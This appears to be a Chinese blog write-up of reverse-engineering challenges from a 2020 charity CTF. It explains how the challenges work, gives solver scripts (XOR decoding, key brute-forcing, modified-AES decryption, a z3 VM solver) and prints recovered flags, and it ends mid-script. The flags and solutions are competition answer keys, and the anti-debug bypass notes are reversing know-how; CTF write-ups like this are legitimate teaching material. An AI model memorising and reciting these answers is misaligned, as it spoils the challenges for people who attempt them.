2020 新春抗疫公益赛

放假在家没事做,学习之余打打比赛,武汉加油

没AK逆向有点可惜,两题都差一点点

Reverse

Factory

用信号实现的vm,调试出算法

init_array中先获取命令行,在哈希一下对比一些哈希值。有一个哈希值会直接退出。测试一下如果用ida直接起程序调试会触发这个哈希值,可以打断点跳过或者直接附加到指定进程。

之后用sigaction函数绑定一些信号量对应的handler。

本题使用信号量实现进程通信,子进程读取opcode。getppid获取的进程号是父进程的,然后用kill触发对应的信号,父进程就进入各个handler了。调试的时候可以附加到父进程上,在每个handler下断点,可以一步一步看到每一步的行为。

算法比较简单。

1
2
3
4
5
6
7
8
9
10
11
12
cipher =  [0xAF, 0xD4, 0xB8, 0xBD, 0xBC, 0xB9, 0xFC, 0xF1, 0xF6, 0xA1, 
0xF5, 0xFE, 0xF1, 0xE9, 0x0B, 0xF3, 0x22, 0x0F, 0x14, 0xE2,
0xED, 0xE5, 0xE2, 0x1F, 0x56, 0x54, 0x4B, 0x3A, 0x7E, 0x3E,
0x5A, 0x5A, 0x5D, 0x0B, 0x6B, 0x68, 0x54, 0x54, 0x64, 0x07,
0x51, 0x1D][::-1]
tmp = b""
for i in range(len(cipher)):
cipher[i] ^= (0x40+2*i)
cipher[i] -= i
cipher[i] &= 0xff
cipher[i] ^= (0x20+2*i)
print(bytes(cipher[::-1]))

Strange_installer

nisi安装包。nisi的一直没找到什么工具,只好硬调。之前ogeek做过一个更难的nisi,再做这道更上手一些。

1
2
3
4
5
6
7
8
9
10
11
plain = b"gm`fzd787`7bb,g72d,592b,8`g1,cg96813e8d``|"
print('1'*len(plain))
flag = b""
t = 0
for i in plain:
if i%2==1:
flag+=bytes([i-1])
else:
flag+=bytes([i+1])
print(flag)
# flag{e696a6cc-f63e-483c-9af0-bf87902d9eaa}

42

看到这个题目就大概知道要干什么了,接下来找找具体怎么实现的。

输入flag后会根据格式拼接成一整个字符串。格式和uuid有点不一样,是7-4-4-4-11

拼接好后转hex是15个字节,异或字符串3nder5tandf10@t后五个一组异或一组常量,得到三个8字节,当成3个double计算立方和。异或常量的时候写死了高位,即数的顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
a = 0xfee1de719a72c03a
b = 0x11dc3e557854bab
c = 0x2cc5907a8da94f
xor1 = 0xfee1deaf76bdf08f
xor2 = 0x011dc37d846f5f42
xor3 = 0x2cc5d914031d68
a ^= xor1
b ^= xor2
c ^= xor3
key = b"3nder5tandf10@t"

ha = b""
hb = b""
hc = b""
for i in range(5):
ha = bytes([a&0xff]) + ha
a >>= 8
hb = bytes([b&0xff]) + hb
b >>= 8
hc = bytes([c&0xff]) + hc
c >>= 8
hs = ha+hb+hc

res = b""
for i in range(15):
res += bytes([hs[i]^key[i]])
res = res.hex()
res = "flag"+ "{" + res[0:7] + "-" + res[7:11] + "-" + res[11:15] + "-" + res[15:19] + "-" + res[19:] + "}"
print(res)

babymac

mac的obj-C程序,不过逻辑比较简单,静态很容易看出算法。

先乘和模得到一组32个常量。输入每四个字符转为一个int,每个int的每一bit乘上权重后求和为常量。

一开始以为不能爆破。想了一下可见字符一共96*96*96*96种,而且打表的话很快。

爆破求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
t1 = [0x0000000000000001, 0x00000000000001FE, 0x0000000000001A79, 0x0000000000004940, 0x000000000000712F, 0x000000000000E1C5, 0x000000000001E866, 0x000000000003B85C, 0x00000000000760B0, 0x00000000000ED95D, 0x00000000001DB360, 0x00000000003B4D46, 0x000000000076A007, 0x0000000000ED528C, 0x0000000001DA9434, 0x0000000003B51CEA, 0x00000000076A592D, 0x000000000ED4AA88, 0x000000001DA951A4, 0x000000003B529EF7, 0x0000000076A55442, 0x00000000ED4AB07B, 0x00000001DA9560A0, 0x00000003B52AACC4, 0x000000076A5553D9, 0x0000000ED4AA997D, 0x0000001DA9553387, 0x0000003B52AA7EED, 0x00000076A554F324, 0x000000ED4AA9E5D7, 0x000001DA9553C9B2, 0x000003B52AA79A0C]

for i in range(32):
t1[i]*=0x10A9FC70042
t1[i]%=0x682669BC19DB
res = [0x00030970372813D2, 0x0002D3A89BCA52AC, 0x00031551E79154A2, 0x0002C522E9A5298A, 0x0002A61367C5C698, 0x000264491C01CAFD, 0x00026CA3A06C98B3, 0x0002DACBD12FB903, 0x0002E470707574E1, 0x000309E5DC39A9A7]

def foo(a):
result = 0
for i in range(32):
result += t1[31-i] * (a & 1)
a >>= 1
return result

a0 = [i for i in range(0x20, 0x80)]
fa0 = list(map(foo, a0))

a1 = [i<<8 for i in range(0x20, 0x80)]
fa1 = list(map(foo, a1))

a2 = [i<<16 for i in range(0x20, 0x80)]
fa2 = list(map(foo, a2))

a3 = [i<<24 for i in range(0x20, 0x80)]
fa3 = list(map(foo, a3))
import sys
I = sys.argv[1]
print(I)
for i in range(0x20, 0x80):
for j in range(0x20, 0x80):
for k in range(0x20, 0x80):
for l in range(0x20, 0x80):
if fa0[i-0x20] + fa1[j-0x20] + fa2[k-0x20] + fa3[l-0x20] == res[int(I)]:
s = chr(i) + chr(j) + chr(k) + chr(l)
print(s)
exit()
# flag{m3Rkl3_h3LLMaN_KNaPsacK_Al90R17Hm!}

吃鸡神器

根据用户名算了一个密码,直接调试断在0x4021d8,EAX为flag。

code2

根据程序写出一样的算法,爆破出输入的key

刚开始爆破出8位key,结果不对。再继续爆破第九位出4个结果,其中一个为正确key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
a = [0.33333334,0.11111111,0.22222222,0.11111111,0.11111111,0.11111111]
b = [0.0,0.33333334,0.44444445,0.66666669,0.77777779,0.8888889]


s = "8ab697"
from itertools import *
# key1 = "8ab86b8"
key1 = ""
m = product(s, repeat = 9)
for i in m:
key2 = "".join(i)
key = key1+key2
v0 = 0.0
v1 = 1.0
for j in range(len(key)):
v4 = 0
v5 = 0
while key[j]!=s[v5] :
v4+=1
v5+=1
if v4 >= 6:
break
if v4 < 6:
v6 = v1
v1 *= a[v5]
v0 += v6*b[v5]
v7 = v0 - 0.129556
if v0 >= 0.130:
break
if abs(v7) < 0.000001:
print(v0)
print(key)
# 8ab86b897

CrackMe

修改过的AES算法,对比着写出修改后的解密算法

这种魔改算法的题挺蛋疼的,慢慢调试看多了改了什么东西,比较费时间。

脚本是计算机安全导论课上写的作业,直接拿来用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
def show_state(a):
for i in range(4):
for j in range(4):
print("%02x" % a[i][j], end=' ')
print('')
print()


def bytes_to_state(a):
tmp0 = []
for i in range(len(a) // 4):
tmp1 = []
for j in range(4):
tmp1.append(a[i * 4 + j])
tmp0.append(tmp1)
return tmp0


def state_to_bytes(state):
res = b""
for i in range(4):
res += bytes(state[i])
return res


def affine(b_int):
matrix_a = [[1, 0, 0, 0, 1, 1, 1, 1],
[1, 1, 0, 0, 0, 1, 1, 1],
[1, 1, 1, 0, 0, 0, 1, 1],
[1, 1, 1, 1, 0, 0, 0, 1],
[1, 1, 1, 1, 1, 0, 0, 0],
[0, 1, 1, 1, 1, 1, 0, 0],
[0, 0, 1, 1, 1, 1, 1, 0],
[0, 0, 0, 1, 1, 1, 1, 1]]
b = []
c = [[1], [1], [0], [0], [0], [1], [1], [0]]
s = [[0] for _ in range(8)]
# s = Ab+c
for i in range(8):
b.append([b_int & 1])
b_int >>= 1
for i in range(8):
tmp = 0
for j in range(8):
tmp ^= (matrix_a[i][j] * b[j][0])
s[i][0] = tmp ^ c[i][0]
s_int = 0
for i in range(8):
s_int <<= 1
s_int += s[7 - i][0]
return s_int


def inv_affine(s_int):
matrix_ai = [[0, 0, 1, 0, 0, 1, 0, 1],
[1, 0, 0, 1, 0, 0, 1, 0],
[0, 1, 0, 0, 1, 0, 0, 1],
[1, 0, 1, 0, 0, 1, 0, 0],
[0, 1, 0, 1, 0, 0, 1, 0],
[0, 0, 1, 0, 1, 0, 0, 1],
[1, 0, 0, 1, 0, 1, 0, 0],
[0, 1, 0, 0, 1, 0, 1, 0]]
s = []
ci = [[1], [0], [1], [0], [0], [0], [0], [0]]
b = [[0] for _ in range(8)]
# b = AI*s+ci
for i in range(8):
s.append([s_int & 1])
s_int >>= 1
for i in range(8):
tmp = 0
for j in range(8):
tmp ^= (matrix_ai[i][j] * s[j][0])
b[i][0] = tmp ^ ci[i][0]
b_int = 0
for i in range(8):
b_int <<= 1
b_int += b[7 - i][0]
return b_int


def find_highest_bit(value):
i = 0
while value != 0:
i += 1
value >>= 1
return i


def polynomial_divide(numerator, denominator):
quotient = 0
tmp = numerator
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
while bit_count >= 0:
quotient |= (1 << bit_count)
tmp ^= (denominator << bit_count)
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
remainder = tmp
return quotient, remainder


def polynomial_multiply(multiplier_a, multiplier_b):
tmp = [0] * 8
res = 0
for i in range(8):
tmp[i] = (multiplier_a << i) * ((multiplier_b >> i) & 1)
res ^= tmp[i]
return res


def polynomial_expand_euclidean(a, b):
"""
a*x + b*y = gcd(a,b)
:param a:
:param b:
:return: x, y, gcd(a, b)
"""
if b == 0:
return 1, 0, a
else:
x, y, g = polynomial_expand_euclidean(b, polynomial_divide(a, b)[1])
x, y = y, (x ^ polynomial_multiply(polynomial_divide(a, b)[0], y))
return x, y, g

def sub_byte(a):
return affine(polynomial_expand_euclidean(a, 0x11B)[0])

def inv_sub_byte(a):
return polynomial_expand_euclidean(inv_affine(a), 0x11B)[0]

def sub_word(a):
res = a[:]
for i in range(len(res)):
res[i] = sub_byte(res[i])
return res


def rot_word(a):
res = a[:]
tmp = res[0]
res[0] = res[1]
res[1] = res[2]
res[2] = res[3]
res[3] = tmp
return res


def xor_word(a, b):
res = [None for _ in range(len(a))]
for i in range(len(a)):
res[i] = a[i] ^ b[i]
return res


def int_to_byte_list(a):
tmp = []
for i in range(4):
tmp.append((a >> (8 * i)) & 0xFF)
return tmp


def get_rcon(n):
tmp = 1
for i in range(n - 1):
tmp = polynomial_divide(polynomial_multiply(tmp, 2), 0x11B)[1]
res = int_to_byte_list(tmp)
return res


def key_expansion(key, rounds):
"""
Generate child keys.
:param key: bytes
The key to generate child keys.
:param rounds: int
The rounds number of AES.
:return:
Child keys.
"""
n = 0
r = 0
if rounds == 10:
r = 11
n = 4
elif rounds == 12:
r = 13
n = 6
elif rounds == 14:
r = 15
n = 8
w_words = []
k_words = bytes_to_state(key)
for i in range(0, 4 * r):
if i < n:
local_word = k_words[i]
elif i >= n and i % n == 0:
local_word = rot_word(w_words[i - 1])
local_word = sub_word(local_word)
local_word = xor_word(local_word, get_rcon(i // n))
local_word = xor_word(local_word, w_words[i - n])
elif i >= n > 6 and i % n == 4:
local_word = rot_word(w_words[i - 1])
local_word = xor_word(local_word, w_words[i - n])
else:
local_word = xor_word(w_words[i - n], w_words[i - 1])
w_words.append(local_word)
child_keys_state = [[w_words[i * 4 + j] for j in range(4)] for i in range(len(w_words) // 4)]
# for i, v in enumerate(child_keys_state):
# print("CHILD KEY ROUND %d:" % i)
# show_state(v)
return child_keys_state


def add_round_key(state1, state2):
for i in range(4):
for j in range(4):
state1[i][j] ^= state2[i][j]


def sub_bytes(state):
for i in range(4):
for j in range(4):
state[i][j] = box1(state[i][j])


def inv_sub_bytes(state):
for i in range(4):
for j in range(4):
state[i][j] = box2(state[i][j])


def shift_rows(state):
tmp = state[0][1]
state[0][1] = state[1][1]
state[1][1] = state[2][1]
state[2][1] = state[3][1]
state[3][1] = tmp

tmp = state[0][2]
state[0][2] = state[2][2]
state[2][2] = tmp
tmp = state[1][2]
state[1][2] = state[3][2]
state[3][2] = tmp

tmp = state[0][3]
state[0][3] = state[3][3]
state[3][3] = state[2][3]
state[2][3] = state[1][3]
state[1][3] = tmp


def inv_shift_rows(state):
tmp = state[0][1]
state[0][1] = state[3][1]
state[3][1] = state[2][1]
state[2][1] = state[1][1]
state[1][1] = tmp

tmp = state[0][2]
state[0][2] = state[2][2]
state[2][2] = tmp
tmp = state[1][2]
state[1][2] = state[3][2]
state[3][2] = tmp

tmp = state[0][3]
state[0][3] = state[1][3]
state[1][3] = state[2][3]
state[2][3] = state[3][3]
state[3][3] = tmp


def mix_columns(state):
matrix_a = [[2, 3, 1, 1],
[1, 2, 3, 1],
[1, 1, 2, 3],
[3, 1, 1, 2]]
res = [[None for __ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
tmp_sum = 0
for k in range(4):
tmp_sum ^= polynomial_multiply(matrix_a[i][k], state[j][k])
tmp_sum = polynomial_divide(tmp_sum, 0x11B)[1]
res[j][i] = tmp_sum
state[:] = res[:]


def inv_mix_columns(state):
matrix_a = [[14, 11, 13, 9],
[9, 14, 11, 13],
[13, 9, 14, 11],
[11, 13, 9, 14]]
res = [[None for __ in range(4)] for _ in range(4)]
for i in range(4):
for j in range(4):
tmp_sum = 0
for k in range(4):
tmp_sum ^= polynomial_multiply(matrix_a[i][k], state[j][k])
tmp_sum = polynomial_divide(tmp_sum, 0x11B)[1]
res[j][i] = tmp_sum
state[:] = res[:]


"""
show(plain)
show(t1)
tmp = [plain[i]^t1[i] for i in range(16)]
show(tmp)
tmp = [tmp[i]^t2[i] for i in range(16)]
show(tmp)
for i in range(16):
tmp[i] = box1[tmp[i]]
show(tmp)

shift_rows(tmp)
"""

cipher = bytes([0x20, 0xB0, 0x0E, 0xA2, 0x0C, 0x3A, 0x15, 0x55, 0x1D, 0x0B, 0x5B, 0x8E, 0x1C, 0x2A, 0xCE, 0x54,0xB4, 0x4A, 0xC1, 0xBC, 0x00, 0x3C, 0xAC, 0x40, 0x42, 0x03, 0x71, 0xBD, 0x25, 0x3A, 0xB9, 0xE9,0xF0, 0x89, 0x40, 0x2D, 0x6F, 0x94, 0x47, 0x16, 0xEA, 0xF9, 0x0F, 0x95, 0xAB, 0xC8, 0xCB, 0x14])

t1 = [[0x88, 0x99, 0x99, 0x99], [0x88, 0x99, 0x88, 0x88], [0x66, 0x66, 0x66, 0x66], [0x77, 0x77, 0x77, 0x77]]
t2 = [[0x88, 0x99, 0x88, 0x88], [0x99, 0x88, 0x66, 0x66], [0x66, 0x66, 0x77, 0x77], [0x77, 0x77, 0x99, 0x99]]

box1 = [0x36, 0x4F, 0x62, 0xD8, 0xB5, 0x84, 0xCD, 0xF6, 0xDC, 0x2A, 0xE6, 0xED, 0xAB, 0x52, 0x01, 0xAF,0xD0, 0x0A, 0x68, 0x14, 0x27, 0xA1, 0xDB, 0x87, 0x9C, 0xE7, 0x29, 0x66, 0x35, 0xE9, 0xB4, 0x91,0x8B, 0xCE, 0xF3, 0x34, 0x56, 0x5E, 0x23, 0x61, 0x70, 0xC3, 0xA7, 0x32, 0x2D, 0x80, 0x0C, 0xC4,0xF5, 0x2C, 0x72, 0xA4, 0xC9, 0x06, 0xB9, 0x6E, 0x19, 0x12, 0x07, 0x22, 0xD6, 0xD3, 0x00, 0x71,0x98, 0x0E, 0x6B, 0xCA, 0x64, 0x3D, 0xBA, 0xFE, 0x88, 0x02, 0xE3, 0x46, 0xEF, 0x1F, 0x2F, 0x8F,0x2E, 0x3A, 0x31, 0x9B, 0xF0, 0xE2, 0x7B, 0x99, 0xBB, 0xA8, 0x48, 0x63, 0xD4, 0x8D, 0xF4, 0x69,0xBF, 0xE8, 0x4B, 0xDE, 0xDA, 0x76, 0xB0, 0x10, 0xB8, 0x97, 0xC6, 0x9F, 0x16, 0xF7, 0xAC, 0xDD,0x45, 0xBC, 0xC5, 0xE1, 0xAD, 0x7C, 0x5B, 0xFC, 0xCC, 0xAE, 0x59, 0x9A, 0x6F, 0xE5, 0x67, 0xA3,0x58, 0xC7, 0x8C, 0x65, 0x81, 0x49, 0x53, 0x83, 0x40, 0x39, 0x5D, 0x37, 0xB1, 0x74, 0x8E, 0x4D,0xCF, 0x33, 0xF8, 0xA2, 0x75, 0x73, 0xFA, 0xD7, 0x4A, 0xCB, 0x82, 0x78, 0x17, 0xE0, 0x95, 0x7D,0x08, 0xF1, 0xBD, 0x41, 0xB7, 0x04, 0x0F, 0x8A, 0xD1, 0x51, 0x3E, 0x38, 0x93, 0xC2, 0x89, 0xD2,0x96, 0x94, 0x1A, 0xFB, 0x5F, 0x7E, 0x60, 0x24, 0x54, 0xEA, 0x7F, 0x0B, 0x1B, 0x43, 0x26, 0x2B,0x1C, 0xB3, 0x4E, 0x85, 0x3F, 0x5A, 0xC0, 0x1E, 0x50, 0x77, 0xFF, 0x09, 0xE4, 0x9E, 0x25, 0x9D,0x05, 0x13, 0xEE, 0xD5, 0x30, 0xAA, 0x28, 0x79, 0x86, 0x4C, 0xF9, 0x57, 0x6D, 0xEB, 0x47, 0xB2,0xD9, 0x18, 0xB6, 0xBE, 0x7A, 0xC1, 0xA0, 0x0D, 0x5C, 0xC8, 0xA5, 0x44, 0x6A, 0x3C, 0x20, 0xA6,0x03, 0x11, 0x3B, 0x15, 0x90, 0xFD, 0x92, 0xEC, 0xA9, 0x21, 0x55, 0x1D, 0xDF, 0x6C, 0x42, 0xF2]

box2 = [0x3E, 0x0E, 0x49, 0xF0, 0xA5, 0xD0, 0x35, 0x3A, 0xA0, 0xCB, 0x11, 0xBB, 0x2E, 0xE7, 0x41, 0xA6,0x67, 0xF1, 0x39, 0xD1, 0x13, 0xF3, 0x6C, 0x9C, 0xE1, 0x38, 0xB2, 0xBC, 0xC0, 0xFB, 0xC7, 0x4D,0xEE, 0xF9, 0x3B, 0x26, 0xB7, 0xCE, 0xBE, 0x14, 0xD6, 0x1A, 0x09, 0xBF, 0x31, 0x2C, 0x50, 0x4E,0xD4, 0x52, 0x2B, 0x91, 0x23, 0x1C, 0x00, 0x8B, 0xAB, 0x89, 0x51, 0xF2, 0xED, 0x45, 0xAA, 0xC4,0x88, 0xA3, 0xFE, 0xBD, 0xEB, 0x70, 0x4B, 0xDE, 0x5A, 0x85, 0x98, 0x62, 0xD9, 0x8F, 0xC2, 0x01,0xC8, 0xA9, 0x0D, 0x86, 0xB8, 0xFA, 0x24, 0xDB, 0x80, 0x7A, 0xC5, 0x76, 0xE8, 0x8A, 0x25, 0xB4,0xB6, 0x27, 0x02, 0x5B, 0x44, 0x83, 0x1B, 0x7E, 0x12, 0x5F, 0xEC, 0x42, 0xFD, 0xDC, 0x37, 0x7C,0x28, 0x3F, 0x32, 0x95, 0x8D, 0x94, 0x65, 0xC9, 0x9B, 0xD7, 0xE4, 0x56, 0x75, 0x9F, 0xB5, 0xBA,0x2D, 0x84, 0x9A, 0x87, 0x05, 0xC3, 0xD8, 0x17, 0x48, 0xAE, 0xA7, 0x20, 0x82, 0x5D, 0x8E, 0x4F,0xF4, 0x1F, 0xF6, 0xAC, 0xB1, 0x9E, 0xB0, 0x69, 0x40, 0x57, 0x7B, 0x53, 0x18, 0xCF, 0xCD, 0x6B,0xE6, 0x15, 0x93, 0x7F, 0x33, 0xEA, 0xEF, 0x2A, 0x59, 0xF8, 0xD5, 0x0C, 0x6E, 0x74, 0x79, 0x0F,0x66, 0x8C, 0xDF, 0xC1, 0x1E, 0x04, 0xE2, 0xA4, 0x68, 0x36, 0x46, 0x58, 0x71, 0xA2, 0xE3, 0x60,0xC6, 0xE5, 0xAD, 0x29, 0x2F, 0x72, 0x6A, 0x81, 0xE9, 0x34, 0x43, 0x99, 0x78, 0x06, 0x21, 0x90,0x10, 0xA8, 0xAF, 0x3D, 0x5C, 0xD3, 0x3C, 0x97, 0x03, 0xE0, 0x64, 0x16, 0x08, 0x6F, 0x63, 0xFC,0x9D, 0x73, 0x55, 0x4A, 0xCC, 0x7D, 0x0A, 0x19, 0x61, 0x1D, 0xB9, 0xDD, 0xF7, 0x0B, 0xD2, 0x4C,0x54, 0xA1, 0xFF, 0x22, 0x5E, 0x30, 0x07, 0x6D, 0x92, 0xDA, 0x96, 0xB3, 0x77, 0xF5, 0x47, 0xCA]

data = [[0x36, 0x36, 0x36, 0x36, 0x39, 0x38, 0x65, 0x39, 0x36, 0x37, 0x37, 0x37, 0x33, 0x35, 0x31, 0x35],
[0x25, 0x13, 0x25, 0x13, 0x57, 0x6F, 0x0A, 0x33, 0x30, 0x07, 0x30, 0x07, 0x8A, 0xBF, 0x8E, 0xBB],
[0x83, 0x90, 0xB5, 0xA6, 0xA1, 0xCE, 0xC4, 0xF7, 0x3B, 0x3C, 0x0C, 0x0B, 0x9E, 0x21, 0xAF, 0x14],
[0x6B, 0xFB, 0x4E, 0xE8, 0x4C, 0x82, 0x46, 0xB1, 0x1C, 0x20, 0x2C, 0x27, 0x91, 0xB0, 0x1F, 0x0B],
[0xF7, 0x0C, 0x42, 0xAA, 0x2D, 0xAF, 0xE9, 0x58, 0xF1, 0xD1, 0xFD, 0xDA, 0xCD, 0x7D, 0x62, 0x69],
[0x5C, 0x50, 0x12, 0xB8, 0xD4, 0x7B, 0x92, 0xCA, 0x66, 0xB7, 0x4A, 0x90, 0xF3, 0x8E, 0xEC, 0x85],
[0x83, 0xD3, 0xC1, 0x79, 0x1B, 0x60, 0xF2, 0x38, 0x2F, 0x98, 0xD2, 0x42, 0xA7, 0x29, 0xC5, 0x40],
[0xDA, 0x09, 0xC8, 0xB1, 0x70, 0x10, 0xE2, 0xDA, 0xB7, 0x2F, 0xFD, 0xBF, 0x09, 0x20, 0xE5, 0xA5],
[0xA3, 0xAA, 0x62, 0xD3, 0x5B, 0x4B, 0xA9, 0x73, 0xB3, 0x9C, 0x61, 0xDE, 0x9D, 0xBD, 0x58, 0xFD],
[0x59, 0xF3, 0x91, 0x42, 0x1C, 0x57, 0xFE, 0x8D, 0xDF, 0x43, 0x22, 0xFC, 0x48, 0xF5, 0xAD, 0x50],
[0x1B, 0xE8, 0x79, 0x3B, 0xC3, 0x94, 0x6A, 0xE7, 0xF1, 0xB2, 0x90, 0x6C, 0x23, 0xD6, 0x7B, 0x2B]]
childkey = []

for i in range(11):
ck = []
for j in range(4):
tmp = []
for k in range(4):
tmp.append(data[i][k*4+j])
ck.append(tmp)
childkey.append(ck)
flag = ""
for _c in range(0, 48, 16):
ttt = cipher[_c:_c+16]

tmp = []
for i in range(4):
tttt = []
for j in range(4):
tttt.append(ttt[i*4+j])
tmp.append(tttt)
add_round_key(tmp, t2)
add_round_key(tmp, childkey[10])
for _ in range(1, 10):
inv_shift_rows(tmp)
for i in range(4):
for j in range(4):
tmp[i][j] = box2[tmp[i][j]]
add_round_key(tmp, childkey[10-_])
inv_mix_columns(tmp)
inv_shift_rows(tmp)
for i in range(4):
for j in range(4):
tmp[i][j] = box2[tmp[i][j]]
add_round_key(tmp, childkey[0])
add_round_key(tmp, t1)
for i in tmp:
for j in i:
flag+=chr(j)
print(flag)

EasyEncrypt

去ollvm混淆,aes加密一个文件,只加密了前16个字符,白给

1
2
3
4
5
6
7
8
9
from Crypto.Cipher import AES
key = b"thisisthekey!!!!"
aes = AES.new(key, AES.MODE_ECB)
with open("flag.lck", "rb") as f:
buf = f.read(16)
buf2 = f.read()
with open("flag.png", "wb") as f:
f.write(aes.decrypt(buf))
f.write(buf2)

easyvm

比较简单的vm题。懒得分析opcode了,写出解析器,直接z3求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from z3 import *
opcode = [0x01, 0x65, 0x00, 0x01, 0x66, 0xDC, 0x02, 0x65, 0x66, 0x01, 0x00, 0x65, 0x01, 0x65, 0x01, 0x03, 0x65, 0x00, 0x01, 0x01, 0x65, 0x01, 0x66, 0x01, 0x01, 0x65, 0x02, 0x02, 0x65, 0x66, 0x05, 0x65, 0x05, 0x65, 0x01, 0x02, 0x65, 0x02, 0x03, 0x00, 0x02, 0x03, 0x02, 0x05, 0x04, 0x04, 0x04, 0xD7, 0x01, 0x66, 0x05, 0x01, 0x65, 0xE6, 0x04, 0x66, 0x65, 0x01, 0x05, 0x66, 0x06, 0x06, 0x06, 0x06, 0x01, 0x65, 0x00, 0x02, 0x07, 0x65, 0x03, 0x08, 0xE6, 0x04, 0x09, 0xD2, 0x01, 0x65, 0x0A, 0x01, 0x66, 0x09, 0x03, 0x65, 0x66, 0x01, 0x0A, 0x65, 0x06, 0x0B, 0x05, 0x0B, 0x06, 0x0C, 0x03, 0x0C, 0x0C, 0x01, 0x65, 0x0D, 0x01, 0x66, 0x0E, 0x03, 0x66, 0x65, 0x01, 0x0E, 0x66, 0x03, 0x65, 0x66, 0x01, 0x0D, 0x65, 0x01, 0x65, 0x0F, 0x01, 0x66, 0x10, 0x03, 0x66, 0x65, 0x01, 0x10, 0x66, 0x04, 0x66, 0x65, 0x01, 0x0F, 0x66, 0x06, 0x11, 0x06, 0x11, 0x04, 0x12, 0xF0, 0x04, 0x12, 0xF0, 0xFF]
cipher = [0x72, 0xDE, 0xC1, 0xD4, 0x6D, 0x58, 0x6B, 0x2D, 0x87, 0x69, 0xC8, 0x6E, 0xDC, 0x47, 0xD3, 0x61, 0xC6, 0x71, 0x29, 0x7D]
input = list(b'1'*20)
input = [BitVec('x%d'%i, 8) for i in range(20)]
x = [input[i] for i in range(20)]
R = [0, 0]
ip = 0

while ip < len(opcode):
if opcode[ip] == 0xff:
break
if opcode[ip] <= 4:
dst = opcode[ip+1]
src = opcode[ip+2]

if src == 0x65 or src == 0x66:
src = R[src-0x65]
elif src > 0xC7:
src += 0x38
src &= 0xff
else:
src = input[src]
if opcode[ip] == 1:
if dst >= 0x65:
R[dst-0x65] = src
else:
input[dst] = src
elif opcode[ip] == 2:
if dst >= 0x65:
R[dst-0x65] ^= src
R[dst-0x65]&= 0xff
else:
input[dst] ^= src
input[dst]&= 0xff
elif opcode[ip] == 3:
if dst >= 0x65:
R[dst-0x65] += src
R[dst-0x65]&= 0xff
else:
input[dst] += src
input[dst]&= 0xff
elif opcode[ip] == 4:
if dst >= 0x65:
R[dst-0x65] -= src
R[dst-0x65]&= 0xff
else:
input[dst] -= src
input[dst]&= 0xff
ip += 3
elif opcode[ip] == 5:
dst = opcode[ip+1]
if dst == 0x65 or dst == 0x66:
R[dst-0x65]+=1
R[dst-0x65]&= 0xff
else:
input[dst]+=1
input[dst]&=0xff
ip += 2
elif opcode[ip] == 6:
dst = opcode[ip+1]
if dst == 0x65 or dst == 0x66:
R[dst-0x65]-=1
R[dst-0x65]&= 0xff
else:
input[dst]-=1
input[dst]&=0xff
ip += 2
else:
continue
s = Solver()
for i in range(20):
s.add(input[i] == cipher[i])
print(s.check())
m = s.model()
s = ""
for i in x:
s += chr(m[i].as_long())
print(s)

Analysis of viruses

还以为是病毒分析,结果却是是病毒分析。

输入一串RNA序列,然后程序转录得到蛋白质,与指定蛋白质序列进行校验。

本来是非常ez的题,但是漏看了几个蛋白质对应的不止4个RNA序列,导致爆破不出正确答案。然后出题人没想到结果非常多会撞哈希,导致各种多解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from hashlib import md5
m = [["UAC"], ["ACA", "ACG"], ["AAC", "AAU", "GAA", "GAU", "GAG", "GAC"], ["CGA", "CGU", "CGG", "CGC"], ["UCU", "UCC"], ["AAC", "AAU", "GAA", "GAU", "GAG", "GAC"], ["AAA", "AAG"], ["UCA", "UCG", "AGA", "AGU", "AGG", "AGC"], ["UAA", "UAU", "UAG"], ["AAC", "AAU", "GAA", "GAU", "GAG", "GAC"], ["UUA", "UUG"], ["CAA", "CAU", "CAG", "CAC"], ["ACA", "ACG"], ["CCA", "CCU", "CCG", "CCC"], ["UUU", "UUC"], ["AAC", "AAU", "GAA", "GAU", "GAG", "GAC"], ["AUU", "AUC", "ACU"]]
res = ""
def pair(s):
res = ""
for i in s:
if i == "A":
res += "U"
elif i == "U":
res += "A"
elif i == "G":
res += "C"
elif i == "C":
res += "G"
return res
for i0 in m[0]:
for i1 in m[1]:
for i2 in m[2]:
for i3 in m[3]:
for i4 in m[4]:
